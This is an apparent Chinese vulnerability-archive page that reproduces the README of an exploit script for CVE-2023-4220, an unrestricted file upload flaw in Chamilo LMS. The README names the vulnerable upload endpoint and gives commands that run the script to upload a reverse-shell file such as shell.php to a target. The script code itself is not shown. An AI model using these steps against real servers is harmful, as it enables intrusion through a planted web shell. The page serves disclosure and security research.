目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2023-4220 PoC — Chamilo LMS 安全漏洞

来源
关联漏洞
标题: Chamilo LMS 安全漏洞 (CVE-2023-4220)
Description:Chamilo LMS是Chamilo协会的一套开源的在线学习和协作系统。该系统支持创建教学内容、远程培训和在线答题等。 Chamilo LMS v1.11.24 版本及之前版本存在安全漏洞,该漏洞源于 “/main/inc/lib/javascript/bigupload/inc/bigUpload.php”页面存在大文件上传功能存在不受限制的文件上传。
介绍
# Chamilo-LMS-CVE-2023-4220-Exploit

## Description


This exploit demonstrates an Unrestricted file upload vulnerability in Chamilo-LMS. The vulnerability affects the big file upload functionality located at:
```
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
```

**Affected Versions**: Chamilo LMS <= v1.11.24

The vulnerability allows arbitrary files to be uploaded to:
```
/main/inc/lib/javascript/bigupload/files/
```

## Vulnerability POC

### Step 1: Initial Setup
First, make the exploit executable and view usage information:
```bash
chmod +x CVE-2023-4220.sh
./CVE-2023-4220.sh
```

### Step 2: Execute Exploit
Run the exploit with required parameters:
```bash
./CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file
```

### Step 3: Verification
Verify the uploaded file at:
```
http://target.test/main/inc/lib/javascript/bigupload/files/
```

## Usage

### Command Options
- `-f`: Specify the file to upload
- `-h`: Target host URL
- `-p`: Port number for connection

### Example Usage
```bash
./CVE-2023-4220.sh -f shell.php -h http://target.test -p 4444
```

## Important Notes

- Tool for security research only
- Obtain proper authorization before testing
- Test only in authorized environments
- Follow responsible disclosure practices

## Technical Details

The vulnerability exists in the file upload mechanism of Chamilo LMS that fails to properly validate uploaded files in the big file upload functionality.

### Affected Component
```
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
```

### File Storage Location
```
/main/inc/lib/javascript/bigupload/files/
```


## References

- [CVE-2023-4220](https://nvd.nist.gov/vuln/detail/CVE-2023-4220)
- [Chamilo LMS Official Documentation](#)

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →